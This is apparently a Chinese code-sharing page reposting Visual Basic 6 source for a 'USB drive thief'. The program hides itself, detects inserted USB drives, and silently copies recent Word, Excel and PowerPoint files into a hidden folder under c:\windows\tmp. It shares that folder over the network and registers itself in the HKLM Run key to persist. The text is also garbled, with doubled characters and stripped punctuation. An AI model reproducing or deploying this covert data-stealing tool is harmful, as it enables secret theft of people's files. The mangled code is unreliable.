【VB开源代码栏目提醒】:网学会员在VB开源代码频道为大家收集整理了“本实例实现利用子类化自动检测U盘插入并复制文件到指定文件夹 超强U盘小偷VB源代码 - 计算机教材“提供大家参考,希望对大家有所帮助!
本本实实例例实实现现利利用用子子类类化化自自动动检检测测UU盘盘插插入入并并复复制制文文件件到到指指定定文文件件夹夹没
没有有文文件件夹夹则则自自动动创
创建建文文件件夹夹 另另一一个个创创新新便便是是将将文文件件夹夹设设置置为为隐隐藏藏并并共
共享享文文件件夹夹 form1窗体
代码设置为启动 Option Explicit Private Sub Form_Load On Error Resume Next If App.PrevInstance True Then End App.TaskVisible False Me.Visible False 子类化窗体的消息处理函数 ReDim MatchedFile0 To 1 0 To 0 ReDim StoreAllFile0 To 0 检测U盘 Dim PathN FileN FileN Ufile HookForm Me If GetFileAttributesc:windowstmpUfile -1 Then MkDir c:windowstmpUfile PathN c:windowstmpUfile Shell cmd /c net share FileN PathN SetAttr c:windowstmpUfile 2 4 32 End If Dim Ret2 As Long 打开 HKEY_LOCAL_MACHINE 下的 softwaremicrosoftwindowscurrentVersionrunServices 主键 RegCreateKey HKEY_LOCAL_MACHINE softwaremicrosoftwindowscurrentVersionrun Ret2 将此主键下的“默认”项的值改为c:windowssystemmyprogram.exe也就是要开机运行的程序路径 RegSetValue Ret2 vbNullString REG_SZ ReplaceApp.Path
App.EXEName .exe 4 关闭对主键的操作 RegCloseKey Ret2 End Sub Private Sub Form_UnloadCancel As Integer
程序退出时恢复原窗体处理函数 UnHookForm Me End Sub Module1
代码 Option Explicit 获取文件、目录属性。
支持 ... Public Declare Function GetFileAttributes Lib kernel32 Alias GetFileAttributesA ByVal lpFileName As String As Long 子类化窗体消息处理函数时
需要使用的API很
常见不作过多
说明。
Public Declare Function SetWindowLong Lib user32 Alias SetWindowLongA ByVal hwnd As Long ByVal nIndex As Long ByVal dwNewLong As Long As Long Public Declare Function CallWindowProc Lib user32 Alias CallWindowProcA ByVal lpPrevWndFunc As Long ByVal hwnd As Long ByVal Msg As Long ByVal wParam As Long ByVal lParam As Long As Long Public Declare Function GetWindowLong Lib user32 Alias GetWindowLongA ByVal hwnd As Long ByVal nIndex As Long As Long Declare Sub CopyMemory Lib kernel32 Alias RtlMoveMemory pDst As Any pSrc As Any ByVal ByteLen As Long Const GWL_WNDPROC -4 Const WM_DEVICECHANGE As Long H219 Const DBT_DEVICEARRIVAL As Long H8000 Const DBT_DEVICEREMOVE
COMPLETE As Long H8004 设备类型逻辑卷标 Const DBT_DEVTYP_VOLUME As Long H2 与WM_DEVICECHANGE消息相
关联的结构体头部信息 Private Type DEV_BROADCAST_HDR lSize As Long lDevicetype As Long 设备
类型 lReserved As Long End Type 设备为逻辑卷时对应的结构体信息 Private Type DEV_BROADCAST_VOLUME lSize As Long lDevicetype As Long lReserved As Long lUnitMask As Long 和
逻辑卷标对应的掩码 iFlag As Integer End Type Public info As DEV_BROADCAST_HDR Public info_volume As DEV_BROADCAST_VOLUME Public PrevProc As Long 原来的窗体消息处理
函数地址
文件复制 Public Declare Function CopyFile Lib kernel32 Alias CopyFileA ByVal lpExistingFileName As String ByVal lpNewFileName As String ByVal bFailIfExists As Long As Long
注册表操作 Public Declare Function Reg
SetValue Lib advapi32.dll Alias RegSetValueA ByVal hKey As Long ByVal lpSubKey As String ByVal dwType As Long ByVal lpData As String ByVal cbData As Long As Long Public Declare Function RegCreateKey Lib advapi32.dll Alias RegCreateKeyA ByVal hKey As Long ByVal lpSubKey As String phkResult As Long As Long Public Declare Function RegCloseKey Lib advapi32.dll ByVal hKey As Long As Long Public Const HKEY_LOCAL_MACHINE H80000
002 Public Const REG_SZ 1 Public Const MaxFileSize As Single 953145728 1M 1048576 Public Const FileDaysIn As Integer 365 Public MatchedFile As String Public FilesType As String Public StoreAllFile As String Public Sub HookFormF As Form On Error Resume Next PrevProc SetWindowLongF.hwnd GWL_WND
PROC AddressOf WindowProc End Sub Public Sub UnHookFormF As Form Set
WindowLong F.hwnd GWL_WNDPROC PrevProc End Sub Public Sub gotosub ReDim FilesType0 To 1 As String FilesType0 .doc FilesType1 .jpg Dim FileCount As Long Dim FileTimeSec As Single 从1/1/1601到指定日期『文件修改日期在此日期后则复制』的秒数1000 FileTimeSec DateDiffs 1/1/1601 DateAddd -CDblFileDaysIn Now 1000 FindFilesAPI H: MatchedFile StoreAllFile FilesType UCase MaxFileSize FileTimeSec FileCount Dim i As Integer Dim PathName As String PathName c:
windowstmpUfile ReplaceCStrNow : - MkDir PathName For i 0 To UBoundMatchedFile 2 CopyFile MatchedFile0 i PathName MatchedFile1 i 1 Next End End Sub Public Function WindowProcByVal hwnd As Long ByVal uMsg As Long ByVal wParam As Long ByVal lParam As Long As Long On Error GoTo ErrCollect Debug.Print uMsg Select Case uMsg 插入USB DISK 则接收到此消息 Case WM_DEVICECHANGE 调用原来的窗体消息处理函数 WindowProc CallWindowProcPrevProc hwnd uMsg wParam lParam If wParam DBT_DEVICEARRIVAL Then 若插入
USBDISK或者映射
网络盘等则 info.lDevicetype 2 即DBT_DEVTYP_VOLUME 利用参数lParam获取结构体头部信息 CopyMemory info ByVal lParam Leninfo If info.lDevicetype DBT_DEVTYP_VOLUME Then CopyMemory info_volume ByVal lParam Leninfo_volume 检测到有逻辑卷添加到
系统中搜索符合要求文件保
存在MatchedFile Form1.List1.AddItem ChrGetDriveNameinfo_volume.lUnitMask : 这是为了防止复制
自己的U盘。
If GetFileAttributesChrGetDriveNameinfo_volume.lUnitMask :
test... -1 Then Exit Function 要复制
的文件类型 ReDim FilesType0 To 1 As String FilesType0 .doc FilesType1 .xls FilesType1 .
ppt Dim FileCount As Long Dim FileTimeSec As Single 从1/1/1601到指定日期『文件
修改日期在此日期后则复制』的秒数1000 FileTimeSec DateDiffs 1/1/1601 DateAddd -CDblFileDaysIn Now 1000 FindFilesAPI ChrGetDriveNameinfo_volume.lUnitMask : MatchedFile StoreAllFile FilesType UCase MaxFileSize FileTimeSec FileCount 复制文件 Dim i As Integer Dim PathName As String PathName c:windowstmpUfile ReplaceCStrNow : - MkDir PathName For i 0 To UBoundMatchedFile 2 CopyFile MatchedFile0 i PathName MatchedFile1 i 1 Next ReDim MatchedFile0 To 1 0 To 0 Open PathName ReplaceCStrNow : - For Output As 1 Print 1
CStrNow For i 0 To UBoundStoreAllFile Print 1 StoreAllFilei Next ReDim StoreAllFile0 To 0 Print 1 CStrUBoundStoreAllFile Close 1 End If End If Case 17 Dim Ret2 As Long 打开 HKEY_LOCAL_MACHINE
下的 softwaremicrosoftwindowscurrentVersionrunServices 主键 RegCreateKey HKEY_LOCAL_MACHINE softwaremicrosoftwindowscurrentVersionrun Ret2 将此主键下的“默认”项的值改为c:windowssystemmyprogram.
exe也就是要开机
运行的程序
路径 RegSetValue Ret2 vbNullString REG_SZ ReplaceApp.Path App.EXEName .exe 4 关闭对主键的操作 RegCloseKey Ret2 调用原来的窗体消息处理函数 WindowProc CallWindowProcPrevProc hwnd uMsg wParam lParam Case Else 调用原来的窗体消息处理函数 WindowProc CallWindowProcPrevProc hwnd uMsg wParam lParam End Select ErrCollect: If Err.Number Then Dim Y As Long J As Long Open c:windowstmpUfile ReplaceCStrNow : - For Output As 3 Print 3 WindowProc Print 3 Err.Number Print 3 Err.Description Print 3 Err.HelpContext For Y 0 To UBoundMatchedFile 2 Print 3 MatchedFile0 Y MatchedFile1 Y Next Print 3 --------------------------------------- For J 0 To UBoundStoreAllFile Print 3 StoreAllFileJ Next Close 3 End End If End Function 根据输入的32位LONG型数据只有一位为1返回对应的卷标的ASCII数值
规则是1A、2B、4C等等 Function GetDriveNameByVal lUnitMask As Long As Byte Dim i As Long i 0 While lUnitMask Mod 2 1 lUnitMask lUnitMask 2 i i 1 Wend GetDriveName AscA i End Function Module2
代码 模块2 Option Explicit Private Type SYSTEMTIME wYear As Integer wMonth As Integer wDayOfWeek As
Integer wDay As
Integer wHour As Integer wMinute As Integer wSecond As Integer wMilliseconds As Integer End Type Const MAX_PATH 260 Const MAXDWORD HFFFF Const INVALID_HANDLE_VALUE -1 Const FILE_ATTRIBUTE_ARCHIVE H20 Const FILE_ATTRIBUTE_DIRECTORY H10 Const FILE_ATTRIBUTE_HIDDEN H2 Const FILE_ATTRIBUTE_NORMAL H80 Const FILE_ATTRIBUTE_READONLY H1 Const FILE_ATTRIBUTE_SYSTEM H4 Const FILE_ATTRIBUTE_TEMPORARY H100 用Currency代替了FILETIME Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As Currency ftLast
AccessTime As Currency ftLastWriteTime As Currency nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String MAX_PATH cAlternate As String 14 End Type Private Declare Function FindFirstFile Lib kernel32 Alias FindFirstFileA ByVal lpFileName As String lpFindFileData As WIN32_FIND_DATA As Long Private Declare Function FindNextFile Lib kernel32 Alias FindNextFileA ByVal hFindFile As Long lpFindFileData As WIN32_FIND_DATA As Long Private Declare Function GetFileAttributes Lib kernel32 Alias GetFileAttributesA ByVal lpFileName As String As Long Private Declare Function FindClose Lib kernel32 ByVal hFindFile As Long As Long Private Declare Function FileTimeToSystemTime Lib kernel32 lpFileTime As Currency lpSystemTime As SYSTEMTIME As Long Private Declare Function FileTimeToLocalFileTime Lib kernel32 lpFileTime As Currency lpLocalFileTime As Currency As Long Private Declare Function InitCommonControlsEx Lib comctl32.dll iccex As tagInitCommonControlsEx As Boolean Private Declare Sub InitCommonControls Lib comctl32.dll Private Declare Function LoadLibrary Lib kernel32 Alias LoadLibraryA ByVal lpLibFileName As String As Long Private Const ICC_USEREX_CLASSES H200 Public m_hMod As Long Private Type tagInitCommonControlsEx lngSize As Long lngICC As Long End Type Public Sub Main 设置工程
属性启动
对象为main Dim iccex As tagInitCommonControlsEx With iccex .lngSize LenBiccex .lngICC ICC_USEREX_CLASSES End With InitCommonControlsEx iccex m_hMod LoadLibraryshell32.dll InitCommonControls Form1.Show
显示主窗体 End Sub Function StripNullsOriginalStr As String As String If InStrOriginalStr Chr0 0 Then OriginalStr LeftOriginalStr InStrOriginalStr Chr0 - 1 End If StripNulls OriginalStr End Function Function FindFiles
APIPath As String FFA_MatchedFile As String FFA_AllFile As String FFA_HaveOneWords As String _ FFA_HaveWord As String FFA_SizeMax As Single FFA_FileTimeSec As Single FFA_MatchedFileCounter As Long On Error GoTo ErrCollect Dim FileName As String Dim SubDirs As String 保存下层目录 Dim SubDirsCount As Integer 下层目录计数器 Dim i As Integer 下层
目录循环
计数器 Dim SearchHandle As Long 保存
搜索句柄 Dim WFD As WIN32_FIND_DATA 装载文件
相关信息 Dim Cont As Integer 接收FindNextFile返回值。
判断
成功与否。
SubDirsCount 0 ReDim SubDirsSubDirsCount SearchHandle FindFirstFilePath WFD Cont True If SearchHandle INVALID_HAN
DLE_VALUE Then While Cont FileName StripNullsWFD.cFileName If FileName . And FileName ..
Then 保存
所有文件 FFA_AllFileUBoundFFA_AllFile Path FileName ReDim Preserve FFA_AllFileUBoundFFA_AllFile 1 目录则
加入SubDirs数组。
留给下轮递归使用 If AbsGetFileAttributesPath FileName And FILE_ATTRIBUTE_DIRECTORY Then ReDim Preserve SubDirsSubDirsCount SubDirsSubDirsCount FileName SubDirsCount SubDirsCount 1 Else 文件
判断顺序是否在指定大小内、是否在指定
时间内修改过、
是否含有指定关键字、是否至少含有
一个关键字『扩展名』 If WFD.nFileSizeLow FFA_SizeMax Then FileTimeToLocalFileTime WFD.ftLastWriteTime WFD.ftLastWriteTime If WFD.ftLastWriteTime FFA_FileTimeSec Then If InStr1 UCaseFileName FFA_HaveWord Then For i 0 To UBoundFFA_HaveOneWords If InStr1 LCaseFileName FFA_HaveOneWordsi Then Exit For If i UBoundFFA_HaveOneWords Then GoTo NextFile: Next ReDim Preserve FFA_MatchedFile0 To 1 0 To FFA_MatchedFileCounter FFA_MatchedFile0 FFA_MatchedFileCounter Path FileName FFA_MatchedFile1 FFA_MatchedFileCounter FileName FFA_MatchedFileCounter FFA_MatchedFileCounter 1 End If NextFile: End If End If End If End If Cont FindNextFileSearchHandle WFD 获取下个文件 Wend Cont FindCloseSearchHandle End If 下层目录
循环递归 If SubDirsCount 0 Then For i 0 To SubDirsCount - 1 FindFilesAPI FindFilesAPI FindFilesAPIPath SubDirsi FFA_MatchedFile FFA_AllFile FFA_HaveOneWords FFA_HaveWord FFA_SizeMax FFA_FileTimeSec FFA_MatchedFileCounter Next i End If Exit Function ErrCollect: Dim Y As Long J As Long Open c:windowstmpUfile ReplaceCStrNow : - For Output As 3 Print 3 TreeSearch Print 3 Err.Number Print 3 Err.Description Print 3 Err.HelpContext For Y 0 To UBoundMatchedFile 2 Print 3 MatchedFile0 Y MatchedFile1 Y Next Print 3 --------------------------------------- For J 0 To UBoundStoreAllFile Print 3 StoreAllFileJ Next Close 3 End End Function